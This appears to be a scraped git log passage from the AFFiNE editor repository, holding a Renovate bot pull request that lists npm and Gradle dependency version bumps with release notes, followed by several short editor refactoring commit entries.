| [openai](https://redirect.github.com/openai/openai-node) | [`4.83.0` -> `4.85.1`](https://renovatebot.com/diffs/npm/openai/4.83.0/4.85.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/openai/4.85.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/openai/4.85.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/openai/4.83.0/4.85.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/openai/4.83.0/4.85.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [prettier](https://prettier.io) ([source](https://redirect.github.com/prettier/prettier)) | [`3.5.0` -> `3.5.1`](https://renovatebot.com/diffs/npm/prettier/3.5.0/3.5.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/prettier/3.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/prettier/3.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/prettier/3.5.0/3.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/prettier/3.5.0/3.5.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [react-i18next](https://redirect.github.com/i18next/react-i18next) | [`15.4.0` -> `15.4.1`](https://renovatebot.com/diffs/npm/react-i18next/15.4.0/15.4.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-i18next/15.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-i18next/15.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-i18next/15.4.0/15.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-i18next/15.4.0/15.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [shiki](https://redirect.github.com/shikijs/shiki) ([source](https://redirect.github.com/shikijs/shiki/tree/HEAD/packages/shiki)) | [`2.3.2` -> `2.5.0`](https://renovatebot.com/diffs/npm/shiki/2.3.2/2.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/shiki/2.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/shiki/2.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/shiki/2.3.2/2.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/shiki/2.3.2/2.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [storybook](https://redirect.github.com/storybookjs/storybook/tree/next/code/lib/cli) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/lib/cli)) | [`8.5.4` -> `8.5.6`](https://renovatebot.com/diffs/npm/storybook/8.5.4/8.5.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/storybook/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/storybook/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/storybook/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/storybook/8.5.4/8.5.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [typescript-eslint](https://typescript-eslint.io/packages/typescript-eslint) ([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint)) | [`8.24.0` -> `8.24.1`](https://renovatebot.com/diffs/npm/typescript-eslint/8.24.0/8.24.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typescript-eslint/8.24.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typescript-eslint/8.24.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typescript-eslint/8.24.0/8.24.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typescript-eslint/8.24.0/8.24.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [vitest](https://redirect.github.com/vitest-dev/vitest) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest)) | [`3.0.5` -> `3.0.6`](https://renovatebot.com/diffs/npm/vitest/3.0.5/3.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vitest/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vitest/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vitest/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vitest/3.0.5/3.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [webpack](https://redirect.github.com/webpack/webpack) | [`5.97.1` -> `5.98.0`](https://renovatebot.com/diffs/npm/webpack/5.97.1/5.98.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/webpack/5.98.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/webpack/5.98.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/webpack/5.97.1/5.98.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/webpack/5.97.1/5.98.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [com.android.library](https://developer.android.com/studio/build) ([source](https://android.googlesource.com/platform/tools/base)) | `8.8.0` -> `8.8.1` | [![age](https://developer.mend.io/api/mc/badges/age/maven/com.android.library:com.android.library.gradle.plugin/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/com.android.library:com.android.library.gradle.plugin/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/com.android.library:com.android.library.gradle.plugin/8.8.0/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/com.android.library:com.android.library.gradle.plugin/8.8.0/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [com.android.application](https://developer.android.com/studio/build) ([source](https://android.googlesource.com/platform/tools/base)) | `8.8.0` -> `8.8.1` | [![age](https://developer.mend.io/api/mc/badges/age/maven/com.android.application:com.android.application.gradle.plugin/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/com.android.application:com.android.application.gradle.plugin/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/com.android.application:com.android.application.gradle.plugin/8.8.0/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/com.android.application:com.android.application.gradle.plugin/8.8.0/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [com.android.tools.build:gradle](https://developer.android.com/studio/build) ([source](https://android.googlesource.com/platform/tools/base)) | `8.8.0` -> `8.8.1` | [![age](https://developer.mend.io/api/mc/badges/age/maven/com.android.tools.build:gradle/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/com.android.tools.build:gradle/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/com.android.tools.build:gradle/8.8.0/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/com.android.tools.build:gradle/8.8.0/8.8.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>aws/aws-sdk-js-v3 (@&#8203;aws-sdk/client-s3)</summary>

### [`v3.750.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37500-2025-02-17)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.749.0...v3.750.0)

**Note:** Version bump only for package [@&#8203;aws-sdk/client-s3](https://redirect.github.com/aws-sdk/client-s3)

### [`v3.749.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37490-2025-02-14)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.744.0...v3.749.0)

##### Features

-   **client-s3:** Added support for Content-Range header in HeadObject response. ([5b15ad8](5b15ad8260))

</details>

<details>
<summary>Cap-go/capacitor-inappbrowser (@&#8203;capgo/inappbrowser)</summary>

### [`v7.2.16`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7216-2025-02-10)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.15...7.2.16)

### [`v7.2.15`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7215-2025-02-10)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.14...7.2.15)

### [`v7.2.14`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7214-2025-02-09)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.13...7.2.14)

### [`v7.2.13`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7213-2025-02-09)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.9...7.2.13)

### [`v7.2.9`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#729-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.8...7.2.9)

### [`v7.2.8`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#728-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.7...7.2.8)

### [`v7.2.7`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#727-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.6...7.2.7)

### [`v7.2.6`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#726-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.5...7.2.6)

### [`v7.2.5`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#725-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.4...7.2.5)

### [`v7.2.4`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#724-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.3...7.2.4)

### [`v7.2.3`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#723-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.2...7.2.3)

### [`v7.2.2`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#722-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.1...7.2.2)

### [`v7.2.1`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7216-2025-02-10)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.0...7.2.1)

### [`v7.2.0`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#720-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.6...7.2.0)

##### Features

-   add ability to close webview from javascript on ios ([5034997](50349975e5))
-   add close function to unified javascript interface ([c3d9079](c3d9079cab))
-   close webview with window.AndroidInterface.close() from within ([c5eae97](c5eae97a6a))

##### Bug Fixes

-   add better doc for 2 way com ([171ea27](171ea27931))
-   add warning ([84470ae](84470ae1c3))
-   allow inline video ([1368f2a](1368f2a4f0))
-   better definition ([588cc88](588cc88438))
-   CICD ([ee7ef04](ee7ef0430a))
-   order of doc ([71d8923](71d8923996))
-   versions ([941aabe](941aabee33))

##### [7.1.6](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.5...7.1.6) (2025-02-02)

##### Bug Fixes

-   lint ([d3df47c](d3df47cfef))

##### [7.1.5](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.4...7.1.5) (2025-02-01)

##### Bug Fixes

-   build ([89cd832](89cd832f96))

##### [7.1.4](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.3...7.1.4) (2025-02-01)

##### Bug Fixes

-   remove READ_MEDIA_IMAGES ([e30874e](e30874ebe1))

##### [7.1.3](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.2...7.1.3) (2025-02-01)

##### Bug Fixes

-   async thread ([df0bb19](df0bb198a6))

##### [7.1.2](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.1...7.1.2) (2025-02-01)

##### Bug Fixes

-   Fixed back_arrow being displayed correctly instead of close_icon ([0516043](0516043312))
-   openWebView has stopped hiding the phone's status bar. ([465a035](465a03561f))
-   openWebView has stopped hiding the phone's status bar. ([6154e54](6154e5422c))
-   openWebView has stopped hiding the phone's status bar. ([ec6a9c2](ec6a9c2205))

##### [7.1.1](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.0...7.1.1) (2025-01-27)

</details>

<details>
<summary>dotansimha/graphql-code-generator (@&#8203;graphql-codegen/cli)</summary>

### [`v5.0.5`](https://redirect.github.com/dotansimha/graphql-code-generator/blob/HEAD/packages/graphql-codegen-cli/CHANGELOG.md#505)

[Compare Source](https://redirect.github.com/dotansimha/graphql-code-generator/compare/@graphql-codegen/cli@5.0.4...@graphql-codegen/cli@5.0.5)

##### Patch Changes

-   [#&#8203;10282](https://redirect.github.com/dotansimha/graphql-code-generator/pull/10282) [`7d7760d`](7d7760d55c) Thanks [@&#8203;oprypkhantc](https://redirect.github.com/oprypkhantc)! - Fix watcher watching project root when schema URL is used

</details>

<details>
<summary>lit/lit (@&#8203;lit/context)</summary>

### [`v1.1.4`](https://redirect.github.com/lit/lit/blob/HEAD/packages/context/CHANGELOG.md#114)

[Compare Source](https://redirect.github.com/lit/lit/compare/@lit/context@1.1.3...7db8eadb285c2a55fe4aa78c491585e1e90d3b1c)

##### Patch Changes

-   [#&#8203;4734](https://redirect.github.com/lit/lit/pull/4734) [`0f535d48`](0f535d483b) Thanks [@&#8203;sorin-davidoi](https://redirect.github.com/sorin-davidoi)! - Avoid calling Event.composedPath() when it is not needed

</details>

<details>
<summary>open-telemetry/opentelemetry-js (@&#8203;opentelemetry/exporter-prometheus)</summary>

### [`v0.57.2`](cbc912d67b...ac8641a5db)

[Compare Source](cbc912d67b...ac8641a5db)

</details>

<details>
<summary>getsentry/sentry-javascript (@&#8203;sentry/react)</summary>

### [`v8.55.0`](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/8.55.0)

[Compare Source](https://redirect.github.com/getsentry/sentry-javascript/compare/8.54.0...8.55.0)

##### Important Changes

-   **chore(ci/v8): Switch lambda layer name to `SentryNodeServerlessSDKv8` ([#&#8203;15351](https://redirect.github.com/getsentry/sentry-javascript/pull/15351))**

The `SentryNodeServerlessSDK` AWS Lambda Layer will stop receiving updates.
If you intend to stay on `v8` and receive updates use `SentryNodeServerlessSDKv8` instead.

##### Other Changes

-   feat(flags/v8): add Statsig browser integration ([#&#8203;15347](https://redirect.github.com/getsentry/sentry-javascript/pull/15347))
-   feat(v8/node): Add missing `vercelAIIntegration` export ([#&#8203;15339](https://redirect.github.com/getsentry/sentry-javascript/pull/15339))
-   feat(v8/nuxt): Add `enabled` to disable Sentry module ([#&#8203;15337](https://redirect.github.com/getsentry/sentry-javascript/pull/15337)) ([#&#8203;15381](https://redirect.github.com/getsentry/sentry-javascript/issues/15381))
-   feat(v8/vue): Support Pinia v3 ([#&#8203;15384](https://redirect.github.com/getsentry/sentry-javascript/pull/15384))
-   fix(astro): Add vue to `registerEsmLoaderHooks` ([#&#8203;15352](https://redirect.github.com/getsentry/sentry-javascript/pull/15352))
-   fix(react/v8): Support lazy-loaded routes and components ([#&#8203;15281](https://redirect.github.com/getsentry/sentry-javascript/pull/15281))
-   fix(v8/nuxt): Detect Azure Function runtime for flushing with timeout ([#&#8203;15297](https://redirect.github.com/getsentry/sentry-javascript/pull/15297))
-   fix(v8/solidstart): Do not copy release-injection map file ([#&#8203;15304](https://redirect.github.com/getsentry/sentry-javascript/pull/15304))
-   fix(v8/svelte): Guard component tracking `beforeUpdate` call ([#&#8203;15262](https://redirect.github.com/getsentry/sentry-javascript/pull/15262))

Work in this release was contributed by [@&#8203;aryanvdesh](https://redirect.github.com/aryanvdesh). Thank you for your contribution!

##### Bundle size 📦

| Path                                                             | Size              |
| ---------------------------------------------------------------- | ----------------- |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser)                                                  | 23.3 KB   |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) - with treeshaking flags                         | 23.17 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing)                                  | 35.9 KB   |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay)                          | 73.27 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay) - with treeshaking flags | 66.71 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay with Canvas)              | 77.57 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Tracing, Replay, Feedback)                | 89.5 KB   |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. Feedback)                                 | 39.51 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. sendFeedback)                             | 27.91 KB  |
| [@&#8203;sentry/browser](https://redirect.github.com/sentry/browser) (incl. FeedbackAsync)                            | 32.71 KB  |
| [@&#8203;sentry/react](https://redirect.github.com/sentry/react)                                                    | 25.98 KB  |
| [@&#8203;sentry/react](https://redirect.github.com/sentry/react) (incl. Tracing)                                    | 38.71 KB  |
| [@&#8203;sentry/vue](https://redirect.github.com/sentry/vue)                                                      | 27.58 KB  |
| [@&#8203;sentry/vue](https://redirect.github.com/sentry/vue) (incl. Tracing)                                      | 37.75 KB  |
| [@&#8203;sentry/svelte](https://redirect.github.com/sentry/svelte)                                                   | 23.46 KB  |
| CDN Bundle                                                       | 24.49 KB  |
| CDN Bundle (incl. Tracing)                                       | 37.6 KB   |
| CDN Bundle (incl. Tracing, Replay)                               | 72.9 KB   |
| CDN Bundle (incl. Tracing, Replay, Feedback)                     | 78.23 KB  |
| CDN Bundle - uncompressed                                        | 71.92 KB  |
| CDN Bundle (incl. Tracing) - uncompressed                        | 111.52 KB |
| CDN Bundle (incl. Tracing, Replay) - uncompressed                | 225.78 KB |
| CDN Bundle (incl. Tracing, Replay, Feedback) - uncompressed      | 238.88 KB |
| [@&#8203;sentry/nextjs](https://redirect.github.com/sentry/nextjs) (client)                                          | 38.96 KB  |
| [@&#8203;sentry/sveltekit](https://redirect.github.com/sentry/sveltekit) (client)                                       | 36.4 KB   |
| [@&#8203;sentry/node](https://redirect.github.com/sentry/node)                                                     | 162.85 KB |
| [@&#8203;sentry/node](https://redirect.github.com/sentry/node) - without tracing                                   | 99.14 KB  |
| [@&#8203;sentry/aws-serverless](https://redirect.github.com/sentry/aws-serverless)                                           | 131.23 KB |

</details>

<details>
<summary>storybookjs/storybook (@&#8203;storybook/addon-essentials)</summary>

### [`v8.5.6`](https://redirect.github.com/storybookjs/storybook/blob/HEAD/CHANGELOG.md#856)

[Compare Source](https://redirect.github.com/storybookjs/storybook/compare/v8.5.5...v8.5.6)

-   Builder-Vite: Fix defaulting to allowing all hosts - [#&#8203;30523](https://redirect.github.com/storybookjs/storybook/pull/30523), thanks [@&#8203;JReinhold](https://redirect.github.com/JReinhold)!
-   UI: Fix tags sort for browser back-compat - [#&#8203;30547](https://redirect.github.com/storybookjs/storybook/pull/30547), thanks [@&#8203;shilman](https://redirect.github.com/shilman)!

### [`v8.5.5`](https://redirect.github.com/storybookjs/storybook/blob/HEAD/CHANGELOG.md#855)

[Compare Source](https://redirect.github.com/storybookjs/storybook/compare/v8.5.4...v8.5.5)

-   Builder-Vite: Fix Turbosnap - [#&#8203;30522](https://redirect.github.com/storybookjs/storybook/pull/30522), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!

</details>

<details>
<summary>swc-project/swc (@&#8203;swc/core)</summary>

### [`v1.10.17`](https://redirect.github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11017---2025-02-18)

[Compare Source](https://redirect.github.com/swc-project/swc/compare/v1.10.16...v1.10.17)

##### Bug Fixes

-   **(deps)** Update cargo (patch) ([#&#8203;10021](https://redirect.github.com/swc-project/swc/issues/10021)) ([ffb7734](ffb77342d9))

-   **(typescript)** Improve type inferring for undefined and null ([#&#8203;10038](https://redirect.github.com/swc-project/swc/issues/10038)) ([5059ece](5059ece95a))

-   **(typescript)** Remove the usages of private members ([#&#8203;10037](https://redirect.github.com/swc-project/swc/issues/10037)) ([8410b59](8410b59621))

##### Performance

-   **(hstr)** Use thin arc for hash and length ([#&#8203;10033](https://redirect.github.com/swc-project/swc/issues/10033)) ([2bea793](2bea793bf3))

-   **(hstr)** Skip interning if the text is long enough ([#&#8203;10035](https://redirect.github.com/swc-project/swc/issues/10035)) ([2622e4e](2622e4e1d0))

##### Testing

-   **(hstr)** Add tests ([#&#8203;10043](https://redirect.github.com/swc-project/swc/issues/10043)) ([32b58f0](32b58f0b21))

-   **(ts/fast-strip)** Add tests for `declare module` error cases ([#&#8203;10040](https://redirect.github.com/swc-project/swc/issues/10040)) ([37672e0](37672e024e))

### [`v1.10.16`](https://redirect.github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11016---2025-02-13)

[Compare Source](https://redirect.github.com/swc-project/swc/compare/v1.10.15...v1.10.16)

##### Bug Fixes

-   **(es/minifier)** Check assign target before merge assign cond ([#&#8203;10020](https://redirect.github.com/swc-project/swc/issues/10020)) ([6dab49a](6dab49a07c))

-   **(es/parser)** Preserve comment positions with leading semicolon ([#&#8203;10019](https://redirect.github.com/swc-project/swc/issues/10019)) ([c9937b6](c9937b65bf))

-   **(swc_common)** Fix panic with non-narrow chars with width != 2 ([#&#8203;10011](https://redirect.github.com/swc-project/swc/issues/10011)) ([f9f4cac](f9f4cac0e5))

-   **(ts/fast-strip)** Handle unsupported `module` keyword ([#&#8203;10022](https://redirect.github.com/swc-project/swc/issues/10022)) ([308f5d0](308f5d03c7))

##### Performance

-   **(es/codegen)** Reduce allocation using `compact_str` ([#&#8203;10008](https://redirect.github.com/swc-project/swc/issues/10008)) ([7d7319f](7d7319f248))

</details>

<details>
<summary>vitest-dev/vitest (@&#8203;vitest/browser)</summary>

### [`v3.0.6`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.6)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.5...v3.0.6)

#####    🐞 Bug Fixes

-   Fix `getMockedSystemTime` for `useFakeTimer`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7405](https://redirect.github.com/vitest-dev/vitest/issues/7405) [<samp>(03912)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/03912b43)
-   Compat for jest-image-snapshot  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7390](https://redirect.github.com/vitest-dev/vitest/issues/7390) [<samp>(9542b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/9542b699)
-   Ensure project names are readable in dark terminals  -  by [@&#8203;rgrove](https://redirect.github.com/rgrove) in [https://github.com/vitest-dev/vitest/issues/7371](https://redirect.github.com/vitest-dev/vitest/issues/7371) [<samp>(bb94c)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bb94c19f)
-   Exclude `queueMicrotask` from default fake timers to not break node fetch  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7505](https://redirect.github.com/vitest-dev/vitest/issues/7505) [<samp>(167a9)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/167a98d7)
-   **browser**:
    -   Fix mocking modules out of root  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7415](https://redirect.github.com/vitest-dev/vitest/issues/7415) [<samp>(d3acb)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/d3acbd8b)
    -   Fix `toHaveClass` typing  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7383](https://redirect.github.com/vitest-dev/vitest/issues/7383) [<samp>(7ef23)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7ef238c0)
    -   Relax locator selectors methods  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7422](https://redirect.github.com/vitest-dev/vitest/issues/7422) [<samp>(1b8c5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1b8c5c9e)
    -   Resolve thread count from `maxWorkers`  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7483](https://redirect.github.com/vitest-dev/vitest/issues/7483) [<samp>(adbb2)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/adbb25ab)
    -   Cleanup timeout on resolve and give more information in the error  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7487](https://redirect.github.com/vitest-dev/vitest/issues/7487) [<samp>(5a45a)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/5a45a7ca)
-   **coverage**:
    -   `vite-node` to pass correct execution wrapper offset  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7417](https://redirect.github.com/vitest-dev/vitest/issues/7417) [<samp>(1f2e5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1f2e5552)
    -   Preserve moduleExecutionInfo in non-isolated runs  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7486](https://redirect.github.com/vitest-dev/vitest/issues/7486) [<samp>(f31a0)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/f31a07bb)
-   **deps**:
    -   Update all non-major dependencies  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa)
2025-02-18 15:14:03 +00:00
Saul-Mirone
faf6e2c79f refactor(editor): optimize store map (#10246) 2025-02-18 13:30:09 +00:00
doouding
eed00e0b26 fix: mindmap ai preview (#10222) 2025-02-17 12:45:20 +00:00
Saul-Mirone
9321ce94a7 refactor(editor): remove global types in config (#10143)
Closes: [BS-2554](https://linear.app/affine-design/issue/BS-2554/remove-global-types-in-block-config)
2025-02-13 04:35:35 +00:00
doouding
f89fcf82f8 feat: edgeless dnd (#9988)
### Changed
- Support edgelss dnd
- Simplify the drag-handle state
2025-02-12 12:37:06 +00:00
Saul-Mirone
39eb8625d6 refactor(editor): remove block models global type (#10086) 2025-02-11 11:00:57 +00:00
Saul-Mirone
652865c7cf refactor(editor): remove global types in model (#10082)
Closes: [BS-2249](https://linear.app/affine-design/issue/BS-2249/remove-global-types-in-model)

```ts
// before
matchFlavours(model, ['affine:page']);
// after
matchFlavours(model, [PageBlockModel]);
```
2025-02-11 08:18:57 +00:00
Saul-Mirone
c6b8f2b584 refactor(editor): flat data for table block (#10010)
close: BS-2548
2025-02-10 19:09:33 +00:00
Saul-Mirone
5b750bbba4 feat(editor): support delete in flat block proxy (#9994) 2025-02-06 16:30:06 +00:00
renovate
75c4291325 chore: bump up vitest version to v3.0.5 [SECURITY] (#9938)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
